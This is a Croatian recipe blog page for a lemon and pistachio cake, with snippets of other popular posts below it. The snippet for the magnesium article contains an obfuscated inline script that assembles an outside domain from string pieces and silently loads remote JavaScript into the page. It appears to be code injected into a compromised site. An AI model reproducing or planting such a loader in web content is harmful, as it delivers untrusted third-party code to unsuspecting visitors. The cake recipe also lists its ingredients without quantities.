SOČAN KOLAČ S LIMUNOM I PISTACIJAMA 🍋




Sočan kolač s limunom i pistacijama 



Jednostavni domaći kolači često su oni kojima se najradije vraćamo. Ovaj sočni kolač s limunom i pistacijama jedan je od tih kolača, a osvaja svježinom citrusa, nježnom teksturom i bogatim orašastim okusom. Ostaje mekan i ukusan danima, a mnogi će reći da je čak i bolji sljedećeg dana.





Sočan kolač s limunom i pistacijama 


Sastojci:

  • maslac
  • ulje
  • brašno
  • prašak za pecivo
  • soda bikarbona
  • sol
  • šećer
  • limun (sok i korica)
  • jaja
  • šećer u prahu
  • pistacije



Priprema:

Zagrijte pećnicu na 180 °C. U manjem loncu na laganoj vatri otopite maslac. Dodajte ulje, promiješajte i maknite s vatre te ostavite smjesu nekoliko minuta da se lagano ohladi. U zdjeli pomiješajte brašno, prašak za pecivo, sodu bikarbonu i sol. Sve kratko promiješajte kako bi se sastojci ravnomjerno rasporedili.

U drugoj zdjeli pomiješajte šećer i naribanu limunovu koricu. Prstima utrljajte koricu u šećer dok smjesa ne postane lagano vlažna i izrazito mirisna. Ovim postupkom oslobađaju se eterična ulja iz korice i pojačava se aroma limuna. U limunov šećer ulijte ohlađenu smjesu maslaca i ulja pa pjenjačom miješajte dok ne dobijete glatku smjesu. Dodajte jaja, jedno po jedno, dobro miješajući nakon svakog dodavanja, a zatim i sok od limuna.

Postupno dodajte pripremljenu mješavinu brašna. Lagano miješajte pjenjačom ili špatulom samo dok se svi sastojci ne sjedine u jednoličnu smjesu bez grudica. Smjesu ulijte u pripremljeni kalup i poravnajte površinu. Pecite oko 35 minuta, odnosno dok kolač ne poprimi zlatnu boju po rubovima. Izvadite kolač iz pećnice i ostavite ga da se potpuno ohladi u kalupu.

Za glazuru, u manjoj zdjeli pomiješajte šećer u prahu i 2 do 3 žlice limunova soka. Miješajte dok ne dobijete gustu, ali još uvijek tekuću glazuru koju možete lako razmazati. Glazuru prelijte preko potpuno ohlađenog kolača i ravnomjerno rasporedite po površini. Odmah pospite sitno nasjeckanim pistacijama prije nego što se glazura stvrdne



Pripremila: Ivana Matas 





Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više